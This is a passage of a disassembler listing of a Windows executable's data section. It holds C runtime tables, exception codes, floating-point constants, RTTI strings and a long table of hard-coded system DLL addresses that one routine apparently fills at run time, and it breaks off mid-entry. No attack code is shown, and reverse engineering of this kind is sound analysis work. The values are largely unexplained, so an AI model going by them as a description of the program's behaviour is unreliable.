dd offset nullsub_3 dd offset nullsub_3 dword_42F338 dd 1B3Fh ; DATA XREF: sub_415F93+Dr dword_42F33C dd 19930520h, 4 dup(0) ; DATA XREF: sub_416415+2o ; sub_41641E+2o off_42F350 dd offset sub_417C16 ; DATA XREF: sub_417DFA+1Cr dword_42F354 dd 2 ; DATA XREF: sub_41D96C+Er ; sub_41D9A5+46r ... off_42F358 dd offset aNull_0 ; DATA XREF: sub_417F58:loc_4182BCr ; sub_417F58+457r ; "(null)" off_42F35C dd offset aNull ; DATA XREF: sub_417F58+259r ; "(null)" off_42F360 dd offset word_42F36A ; DATA XREF: sub_415964+23r ; sub_415964:loc_4159C5r ... off_42F364 dd offset word_42F36A ; DATA XREF: sub_420FCB+18r db 2 dup(0) word_42F36A dw 20h ; DATA XREF: sub_41F14D+18r ; _2:off_42F360o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_42F56C dd 1 ; DATA XREF: sub_415964:loc_41596Cr ; sub_415964:loc_4159B0r ... byte_42F570 db 2Eh ; DATA XREF: sub_41A98F:loc_41A9CFr ; sub_41A9E9+4r ... align 4 dd 1, 10h, 0 off_42F580 dd offset off_42F580 ; DATA XREF: sub_4199A8+Do ; sub_4199A8+69o ... off_42F584 dd offset off_42F580 ; DATA XREF: sub_4199A8:loc_419A28r ; sub_4199A8+89w ... dd offset dword_42F598 dd offset dword_42F598 dword_42F590 dd 0FFFFFFFFh ; DATA XREF: sub_4199A8r ; sub_419AEC:loc_419B39w dd 0FFFFFFFFh dword_42F598 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: _2:0042F588o ; _2:0042F58Co off_4315A0 dd offset off_42F580 ; DATA XREF: sub_419AEC+15r ; sub_419AEC+20w ... dword_4315A4 dd 1E0h ; DATA XREF: sub_415D6D:loc_415DA9r ; sub_41756F+185r ... dword_4315A8 dd 14h ; DATA XREF: sub_41A6D8+2o off_4315AC dd offset aExp ; DATA XREF: sub_41A6D8:loc_41A6F5r ; "exp" dd 1Dh, 4227F4h, 1Ah, 4227F0h, 1Bh, 4227E8h, 1Fh, 4227E0h dd 13h, 4227D8h, 21h, 4227D0h, 0Eh, 4227C8h, 0Dh, 4227C0h dd 0Fh, 4227B8h, 10h, 4227B0h, 5, 4227A8h, 1Eh, 4227A4h dd 12h, 4227A0h, 20h, 42279Ch, 0Ch, 422794h, 0Bh, 42278Ch dd 15h, 422784h, 1Ch, 42277Ch, 19h, 422774h, 11h, 42276Ch dd 18h, 422764h, 16h, 42275Ch, 17h, 422754h, 22h, 422750h dd 23h, 42274Ch, 24h, 422748h dbl_431680 dq 1.797693134862316e308 ; DATA XREF: sub_41A413+B7r ; sub_41A413:loc_41A4FAr ... dd 0 dd 0FFF80000h dbl_431690 dq 1.797693134862316e308 ; DATA XREF: sub_41A413+92r ; sub_41A413:loc_41A4D2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4316A8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41A8C0+Dr ; sub_41A8C0+1Fr align 4 tbyte_4316B4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A8C0+31r align 10h off_4316C0 dd offset sub_41AD54 ; DATA XREF: sub_415F31+Fw ; sub_417F58+3AAr off_4316C4 dd offset sub_41A9E9 ; DATA XREF: sub_415F31+5w ; sub_417F58+3E2r off_4316C8 dd offset sub_41AA4F ; DATA XREF: sub_415F31+14w ; sub_41B7F5+430r off_4316CC dd offset sub_41A98F ; DATA XREF: sub_415F31+1Ew ; sub_417F58+3CBr off_4316D0 dd offset sub_41AA37 ; DATA XREF: sub_415F31+28w off_4316D4 dd offset sub_41AD54 ; DATA XREF: sub_415F31+32w dd offset sub_41E98E align 10h dd offset sub_41B61C off_4316E4 dd offset sub_41B61C ; DATA XREF: sub_41B672+29r dword_4316E8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41B7F5:loc_41BD5Co dword_4316F0 dd 5Dh, 0 ; DATA XREF: sub_41B7F5:loc_41BC4Co byte_4316F8 db 1 ; DATA XREF: sub_41CA4D+E1r db 2, 4, 8 align 10h dword_431700 dd 3A4h ; DATA XREF: sub_41CA4D+2Fo dword_431704 dd 82798260h, 21h, 0 ; DATA XREF: sub_41CA4D+11Dr dword_431710 dd 0DFA6h ; DATA XREF: sub_41CA4D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4317F0 dd 1 ; DATA XREF: sub_41CA4D+3Co ; sub_41D064+Co dword_4317F4 dd 16h ; DATA XREF: sub_41D064:loc_41D099r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_431958 dd 0C0000005h ; DATA XREF: sub_41D064+19o ; sub_41D20C+Ar ... dword_43195C dd 0Bh ; DATA XREF: sub_41FE88+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4319D0 dd 3 ; DATA XREF: sub_41D0CB+58r ; sub_41FD5B+C8r dword_4319D4 dd 7 ; DATA XREF: sub_41D0CB+5Er ; sub_41FD5B+CDr dword_4319D8 dd 0Ah ; DATA XREF: sub_41D20C+4r ; sub_41FE88+4r dword_4319DC dd 8Ch ; DATA XREF: sub_41D0CB+82r ; sub_41D0CB+8Fw ... dword_4319E0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_417E43:loc_417F00o ; sub_41C368:loc_41C3E9o dword_4319E8 dd 2 ; DATA XREF: sub_41D9A5+Eo ; sub_41D9A5+28r off_4319EC dd offset aR6002FloatingP ; DATA XREF: sub_41D9A5+FCr ; sub_41D9A5+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 422B14h, 9, 422AE8h, 0Ah, 422AC4h, 10h, 422A98h dd 11h, 422A68h, 12h, 422A44h, 13h, 422A18h, 18h, 4229E0h dd 19h, 4229B8h, 1Ah, 422980h, 1Bh, 422948h, 1Ch, 422920h dd 78h, 422910h, 79h, 422900h, 7Ah, 4228F0h, 0FCh, 425D20h dd 0FFh, 4228E0h off_431A78 dd offset dword_4C93A0 ; DATA XREF: sub_41D9A5+1Bo ; _0:0041DBB7o align 10h dd offset dword_4C93A0 dd 101h dword_431A88 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041DBD4o dd 1000h, 0 dword_431A98 dd 3 dup(0) ; DATA XREF: sub_417E43+50o ; sub_4189C2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_431AB8 dd 3 dup(0) ; DATA XREF: sub_417E43+58o ; sub_4189C2:loc_4189E0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_431AE8 dd 84h dup(0) ; DATA XREF: _0:0041DBFDo dword_431CF8 dd 2694h ; DATA XREF: sub_41A075+3r ; sub_41A0C8+46r ... align 10h dword_431D00 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41E76Eo dword_431D18 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41E784o dword_431D30 dd 7080h ; DATA XREF: sub_41C2A6+76r ; sub_41EBF2+5Ew ... dword_431D34 dd 1 ; DATA XREF: sub_41C2A6+98r ; sub_41EBF2+8Bw ... dword_431D38 dd 0FFFFF1F0h ; DATA XREF: sub_41C2A6:loc_41C358r ; sub_41EBF2+94w ... dword_431D3C dd 545350h, 0Fh dup(0) ; DATA XREF: _2:off_431DBCo dword_431D7C dd 544450h, 0Fh dup(0) ; DATA XREF: _2:off_431DC0o off_431DBC dd offset dword_431D3C ; DATA XREF: sub_41EBF2+BAr ; sub_41EBF2+D9r ... off_431DC0 dd offset dword_431D7C ; DATA XREF: sub_41EBF2+F4r ; sub_41EBF2+11Br ... align 8 dword_431DC8 dd 0FFFFFFFFh ; DATA XREF: sub_41EBF2+1Dw ; sub_41EE50+1Er ... dword_431DCC dd 0 ; DATA XREF: sub_41EE50:loc_41EF84r ; sub_41EFFC+BFw dword_431DD0 dd 0 ; DATA XREF: sub_41EE50+192r ; sub_41EFFC+E0w align 8 dword_431DD8 dd 0FFFFFFFFh ; DATA XREF: sub_41EBF2+17w ; sub_41EE50+26r ... dword_431DDC dd 0 ; DATA XREF: sub_41EE50+13Ar ; sub_41EFFC+EAw ... dword_431DE0 dd 0 ; DATA XREF: sub_41EE50+1A1r ; sub_41EFFC+23r ... dword_431DE4 dd 0FFFFFFFFh ; DATA XREF: sub_41EFFC+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_431E14 dd 16Dh ; DATA XREF: sub_41C2A6+2Ar ; sub_41EFFC+2Er ... dword_431E18 dd 0FFFFFFFFh ; DATA XREF: sub_41EFFC:loc_41F088r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_431E50 dd 2 dup(0) ; DATA XREF: sub_4201E0+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_431FB0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4201E0+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43210C dd offset off_422CE8 ; DATA XREF: _1:00422EC4o _1:00422FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_432124 dd offset off_422CE8 ; DATA XREF: _1:off_422D78o ; _1:00422DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_432144 dd offset off_422CE8 ; DATA XREF: _1:off_422DC0o ; _1:00422E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_432164 dd offset off_422CE8 ; DATA XREF: _1:off_422E0Co ; _1:00422E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_432188 dd offset off_422CE8 ; DATA XREF: _1:off_422E58o ; _1:00422E94o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41E98E align 8 byte_4321A8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_4321AA dw 0 ; DATA XREF: sub_40144A+1E3w word_4321AC dw 0 ; DATA XREF: sub_40144A+1E9w word_4321AE dw 0 ; DATA XREF: sub_40144A+1F0w byte_4321B0 db 0 ; DATA XREF: sub_40144A+1F7w byte_4321B1 db 0 ; DATA XREF: sub_40144A+1FEw word_4321B2 dw 0 ; DATA XREF: sub_40144A+204w dword_4321B4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_4321B8 dd 0 ; DATA XREF: sub_40144A+258w byte_4321BC db 0 ; DATA XREF: sub_40144A+26Aw byte_4321BD db 0 ; DATA XREF: sub_40144A+27Dw word_4321BE dw 0 ; DATA XREF: sub_40144A+295w word_4321C0 dw 0 ; DATA XREF: sub_40144A+2A4w word_4321C2 dw 0 ; DATA XREF: sub_40144A+29Cw dword_4321C4 dd 102h dup(0) ; DATA XREF: sub_40144A+2B9o dword_4325CC dd 2 dup(0) ; DATA XREF: sub_403087+68o dword_4325D4 dd 0 ; DATA XREF: sub_402B27+13o ; sub_40D2E0+610Do ... byte_4325D8 db 0 ; DATA XREF: sub_4033A1+10o ; sub_40513E+74o ... align 4 dword_4325DC dd 0 ; DATA XREF: sub_404021+2Aw ; sub_404021+51r ... dword_4325E0 dd 0 ; DATA XREF: sub_40345C+45r ; sub_403A1B+6Bw ... align 8 dword_4325E8 dd 0 ; DATA XREF: sub_405821+18r ; sub_405C74+92w ... dword_4325EC dd 0 ; DATA XREF: sub_405DAD+4Dr ; sub_405FC5+D9w ... dd 7FEh dup(0) dword_4345E8 dd 6 dup(0) ; DATA XREF: sub_405DAD+D2o ; sub_405DAD+13Bo ... dword_434600 dd 0 ; DATA XREF: sub_405898+82w ; sub_405898+102o dword_434604 dd 41h dup(0) ; DATA XREF: sub_405898+41o dword_434708 dd 41h dup(0) ; DATA XREF: sub_405898+63o dword_43480C dd 0 ; DATA XREF: sub_405898+F8w ; sub_405898+114r dword_434810 dd 0 ; DATA XREF: sub_405898+52w dword_434814 dd 0 ; DATA XREF: sub_405898+4Dw ; sub_405898+CFr dword_434818 dd 20h dup(0) ; DATA XREF: sub_405898+9Ao ; sub_405898+BAo dword_434898 dd 0 ; DATA XREF: sub_405898+8Fw dword_43489C dd 0 ; DATA XREF: sub_405898+A7w ; sub_405898+C7w dword_4348A0 dd 0 ; DATA XREF: sub_405898:loc_4059C2r align 8 dword_4348A8 dd 0 ; DATA XREF: sub_405898+2D5w ; sub_405898+32Eo dword_4348AC dd 0A2h dup(0) ; DATA XREF: sub_405898+2C3o dword_434B34 dd 41h dup(0) ; DATA XREF: sub_405898+28Do dword_434C38 dd 0 ; DATA XREF: sub_405898+2BAw ; sub_405898+2E1r align 10h dword_434C40 dd 0 ; DATA XREF: sub_405898+324w ; sub_405898+340r dword_434C44 dd 0 ; DATA XREF: sub_405898+2E7w dword_434C48 dd 0 ; DATA XREF: sub_405898+2F4w dword_434C4C dd 0 ; DATA XREF: sub_405898+2B4w dd 0 dword_434C54 dd 0 ; DATA XREF: sub_405898:loc_405BEEr dword_434C58 dd 0 ; DATA XREF: sub_405898+1A1w ; sub_405898+221o dword_434C5C dd 41h dup(0) ; DATA XREF: sub_405898+163o dword_434D60 dd 41h dup(0) ; DATA XREF: sub_405898+182o dword_434E64 dd 0 ; DATA XREF: sub_405898+217w ; sub_405898+233r dword_434E68 dd 0 ; DATA XREF: sub_405898+171w dword_434E6C dd 0 ; DATA XREF: sub_405898+1EEr dword_434E70 dd 20h dup(0) ; DATA XREF: sub_405898+1B9o ; sub_405898+1D9o dword_434EF0 dd 0 ; DATA XREF: sub_405898+1AEw dword_434EF4 dd 0 ; DATA XREF: sub_405898+1C6w ; sub_405898+1E6w dword_434EF8 dd 0 ; DATA XREF: sub_405898:loc_405AE2r align 10h dword_434F00 dd 0 ; DATA XREF: sub_406E34+Fr ; sub_40702D+12r align 8 dword_434F08 dd 80h dup(0) ; DATA XREF: sub_407D4C+41o dword_435108 dd 50h dup(0) ; DATA XREF: sub_40767D+C7o ; sub_4079D8+DDo ... db 0 byte_435249 db 3 dup(0) ; DATA XREF: _2:off_4254CCo dd 1AFh dup(0) dword_435908 dd 200h dup(0) ; DATA XREF: sub_40767D+D6o ; sub_4079D8+F4o ... dword_436108 dd 0 ; DATA XREF: sub_40767D+86w ; sub_40784F+94r dword_43610C dd 0 ; DATA XREF: sub_40767D+A7w ; sub_407CB5+55r ... dword_436110 dd 0 ; DATA XREF: sub_40767D+A0w ; sub_40784F+D6r ... dword_436114 dd 0 ; DATA XREF: sub_40767D+79w ; sub_40784F+35r ... dword_436118 dd 80h dup(0) ; DATA XREF: sub_407CB5+5Eo dword_436318 dd 0 ; DATA XREF: sub_40767D+93w ; sub_40784F+A2r align 10h dword_436320 dd 0 ; DATA XREF: sub_40767D+E7o ; sub_40767D+103r ... dword_436324 dd 0 ; DATA XREF: sub_4079D8+17Bw ; sub_407B7F+107w dword_436328 dd 0 ; DATA XREF: sub_4079D8+180w ; sub_407B7F+10Dw ... dword_43632C dd 0 ; DATA XREF: sub_4079D8+159w ; sub_407CB5+4Fr dword_436330 dd 77C72C6Bh ; DATA XREF: sub_406BF9+210r ; sub_406BF9+21Ar ... dword_436334 dd 77EBA994h ; DATA XREF: sub_407E65+65w ; sub_4135F8+F5r dword_436338 dd 7622A3F4h ; DATA XREF: sub_407E65+7EDw ; sub_407E65+862r ... dword_43633C dd 71C45229h ; DATA XREF: sub_407E65+9BAw ; sub_407E65+A18r ... dword_436340 dd 71C24870h ; DATA XREF: sub_407E65+96Cw ; sub_407E65+9E8r ... dword_436344 dd 77C71BB0h ; DATA XREF: sub_406BF9+D1r ; sub_407E65+46Fw ... dword_436348 dd 77D4808Bh ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43634C dd 71C4502Ch ; DATA XREF: sub_407E65+9ADw ; sub_407E65+A10r ... dword_436350 dd 77DE801Bh ; DATA XREF: sub_407E65+354w ; sub_407E65+3A9r ... dword_436354 dd 77DDACABh ; DATA XREF: sub_407E65+3F1w ; sub_409F1E+11Er dword_436358 dd 77DE8075h ; DATA XREF: sub_407E65+361w ; sub_407E65+3B1r ... dword_43635C dd 77DD7496h ; DATA XREF: sub_407E65+3A2w ; sub_40C154+ADr dword_436360 dd 71AB1B7Bh ; DATA XREF: sub_404138+115r ; sub_406AF9+7Dr ... dword_436364 dd 77E686CCh ; DATA XREF: sub_407E65+72w ; sub_407E65+D2r ... dword_436368 dd 71C2498Bh ; DATA XREF: sub_407E65+95Fw ; sub_407E65+9DBr ... dword_43636C dd 77DDAB2Fh ; DATA XREF: sub_407E65+388w ; sub_407E65+3C9r ... dword_436370 dd 7620E8C3h ; DATA XREF: sub_407E65+83Bw ; sub_407E65+88Er ... dword_436374 dd 77DD23D7h ; DATA XREF: sub_40726C+58r ; sub_407E65+2A5w ... dword_436378 dd 76214750h ; DATA XREF: sub_407E65+82Ew ; sub_407E65+886r ... dword_43637C dd 77E6D75Bh ; DATA XREF: sub_407E65+B3w dword_436380 dd 7620BD61h ; DATA XREF: sub_407E65+848w ; sub_407E65+896r ... dword_436384 dd 71AB60C9h ; DATA XREF: sub_406224+7Er ; sub_407E65+52Fw ... dword_436388 dd 77EBA6E9h ; DATA XREF: sub_407E65+58w ; sub_407E65+CAr ... dword_43638C dd 76D62A58h ; DATA XREF: sub_407E65+916w ; sub_4095CC+11Ar dword_436390 dd 76F36EAAh ; DATA XREF: sub_407E65+A66w ; sub_407E65+A6Dr ... dword_436394 dd 77E802FCh ; DATA XREF: sub_407E65+A6w ; sub_407E65+F2r dword_436398 dd 77C75455h ; DATA XREF: sub_406BF9+119r ; sub_407E65+462w ... dword_43639C dd 71AB12A7h ; DATA XREF: sub_405C2C+20r ; sub_407E65+5D8w ... dword_4363A0 dd 71C574FAh ; DATA XREF: sub_407E65+9A0w ; sub_407E65+A08r dword_4363A4 dd 71AB1746h ; DATA XREF: sub_402688+280r ; sub_407E65+5CBw ... dword_4363A8 dd 71B28D0Dh ; DATA XREF: sub_407E65+B21w dword_4363AC dd 762211EFh ; DATA XREF: sub_407E65+7E0w ; sub_407E65+84Fr ... dword_4363B0 dd 77D902E3h ; DATA XREF: sub_407E65+1B3w ; sub_409266+15r dword_4363B4 dd 71C2FA86h ; DATA XREF: sub_407E65+979w ; sub_407E65+9F0r ... dword_4363B8 dd 77DE1291h ; DATA XREF: sub_407E65+36Ew ; sub_407E65+3B9r ... dword_4363BC dd 77E2C1B3h ; DATA XREF: sub_407E65+37Bw ; sub_407E65+3C1r ... dword_4363C0 dd 73B81E3Bh ; DATA XREF: sub_406E34+28r ; sub_40702D+2Br ... dword_4363C4 dd 71ABF628h ; DATA XREF: sub_407E65+68Ew ; sub_4138EE+D0r dword_4363C8 dd 71AB1836h ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_4363CC dd 77C72889h ; DATA XREF: sub_406BF9+207r ; sub_407E65+496w dword_4363D0 dd 71C453F8h ; DATA XREF: sub_407E65+9C7w ; sub_407E65+A20r ... dword_4363D4 dd 77DD5C55h ; DATA XREF: sub_407E65+2B2w ; sub_407E65+2DEr ... dword_4363D8 dd 77E96645h ; DATA XREF: sub_407E65+7Fw ; sub_407E65+DAr ... dword_4363DC dd 77428B97h ; DATA XREF: sub_407E65+B6Ew ; sub_407E65+B75r ... dword_4363E0 dd 71AB41DAh ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_4363E4 dd 762059A3h ; DATA XREF: sub_407E65+807w ; sub_407E65+872r ... dword_4363E8 dd 71C4A1B4h ; DATA XREF: sub_407E65+986w ; sub_407E65+9F8r dword_4363EC dd 1F7CD214h ; DATA XREF: sub_407E65+BDFw ; sub_407E65+C10r dword_4363F0 dd 77D4456Bh ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_4363F4 dd 76D629BBh ; DATA XREF: sub_407E65+8FCw ; sub_407E65+910r ... dword_4363F8 dd 1F7B9D96h ; DATA XREF: sub_407E65+BF9w dword_4363FC dd 71AB1740h ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_436400 dd 7620AFB6h ; DATA XREF: sub_407E65+821w ; sub_407E65+855r dword_436404 dd 77D5C13Ah ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_436408 dd 77D45B19h ; DATA XREF: sub_406E34+3Fr ; sub_406E34+69r ... dword_43640C dd 71AB157Eh ; DATA XREF: sub_407E65+65Aw ; sub_407E65+786r ... dword_436410 dd 71AB3E5Dh ; DATA XREF: sub_40345C+F2r ; sub_40513E+62r ... dword_436414 dd 71AB14DCh ; DATA XREF: sub_402688+16Er ; sub_407E65+549w ... dword_436418 dd 0CC0004h ; DATA XREF: sub_407E65+8BDw ; sub_407E65:loc_408740w ... dword_43641C dd 77DD590Bh ; DATA XREF: sub_407E65+28Bw ; sub_407E65+2C6r ... dword_436420 dd 71ABD755h ; DATA XREF: sub_4063AC+98r ; sub_407E65+681w ... dword_436424 dd 77DF7311h ; DATA XREF: sub_407E65+30Fw ; sub_407E65+323r ... dword_436428 dd 77DDA2AFh ; DATA XREF: sub_407E65+395w ; sub_407E65+3D1r ... dword_43642C dd 1F7CD927h ; DATA XREF: sub_407E65+BD2w ; sub_407E65+C08r dword_436430 dd 76206853h ; DATA XREF: sub_407E65+7FAw ; sub_407E65+86Ar ... dword_436434 dd 77D4932Ch ; DATA XREF: sub_4023A7+FCr ; sub_407E65+206w ... dword_436438 dd 77D5E310h ; DATA XREF: sub_407E65+18Cw ; sub_407E65+1D2r ... dword_43643C dd 76206B7Fh ; DATA XREF: sub_407E65+814w ; sub_407E65+87Ar ... dword_436440 dd 71AB1444h ; DATA XREF: sub_40525F+244r ; sub_407E65+606w ... dword_436444 dd 77DD189Ah ; DATA XREF: sub_40726C+18Ar ; sub_407E65+2BFw ... dword_436448 dd 71AB3F8Dh ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43644C dd 77DD5D20h ; DATA XREF: sub_407E65+302w ; sub_407E65+316r ... dword_436450 dd 71AB1890h ; DATA XREF: sub_404138+F9r ; sub_40525F+1FCr ... dword_436454 dd 77C76B34h ; DATA XREF: sub_406BF9+16r ; sub_407E65+42Ew ... dword_436458 dd 77D5E38Ch ; DATA XREF: sub_407E65+199w ; sub_407E65+1DAr ... dword_43645C dd 77DDA20Bh ; DATA XREF: sub_407E65+347w ; sub_407E65+39Cr ... dword_436460 dd 76F36EEBh ; DATA XREF: sub_407E65+A73w dword_436464 dd 71AB12A7h ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_436468 dd 71AB1746h ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43646C dd 77EBA595h ; DATA XREF: sub_407E65+4Bw ; sub_407E65+C2r ... dword_436470 dd 77C7531Dh ; DATA XREF: sub_406BF9+2Cr ; sub_406BF9+38r ... dword_436474 dd 77D4BDCAh ; DATA XREF: sub_407E65+165w ; sub_407E65+1BAr ... dword_436478 dd 71C3516Ah ; DATA XREF: sub_407E65+9E1w ; sub_40CA59+72r dword_43647C dd 71AB32CAh ; DATA XREF: sub_407E65+667w ; sub_407E65+78Er dword_436480 dd 71AB5690h ; DATA XREF: sub_402688+205r ; sub_402FC3+75r ... dword_436484 dd 1F7CB8F8h ; DATA XREF: sub_407E65+BECw ; sub_407E65+C18r dword_436488 dd 77EBB1E7h ; DATA XREF: sub_407E65+3Ew ; sub_407E65+BAr ... dword_43648C dd 77DD59F0h ; DATA XREF: sub_407E65+298w ; sub_407E65+2CEr ... dword_436490 dd 71AB5DE2h ; DATA XREF: sub_404138+9Er ; sub_406224+9Cr ... dword_436494 dd 71AB3ECEh ; DATA XREF: sub_402688+EBr ; sub_404138+89r ... dword_436498 dd 73B81B0Fh ; DATA XREF: sub_407E65+C63w ; sub_40D2E0+4624r dword_43649C dd 76204E4Dh ; DATA XREF: sub_407E65+85Bw ; sub_40A291+205r ... dword_4364A0 dd 0 ; DATA XREF: sub_407E65+112w dword_4364A4 dd 1F7D886Ah ; DATA XREF: sub_407E65+BB8w ; sub_407E65+BF3r dword_4364A8 dd 71AB12F8h ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_4364AC dd 77C76551h ; DATA XREF: sub_406BF9+BCr ; sub_407E65+43Bw ... dword_4364B0 dd 77C729E2h ; DATA XREF: sub_406BF9+FBr ; sub_407E65+47Cw ... dword_4364B4 dd 77C7212Fh ; DATA XREF: sub_406BF9+65r ; sub_407E65+448w ... dword_4364B8 dd 71AB1AF4h ; DATA XREF: sub_403042+1Br ; sub_403042+35r ... dword_4364BC dd 77D5E303h ; DATA XREF: sub_407E65+1A6w ; sub_407E65+1E2r ... dword_4364C0 dd 71C4576Ch ; DATA XREF: sub_407E65+9D4w ; sub_407E65+A28r ... dword_4364C4 dd 77D4702Fh ; DATA XREF: sub_406E34+53r ; sub_406E34+7Fr ... dword_4364C8 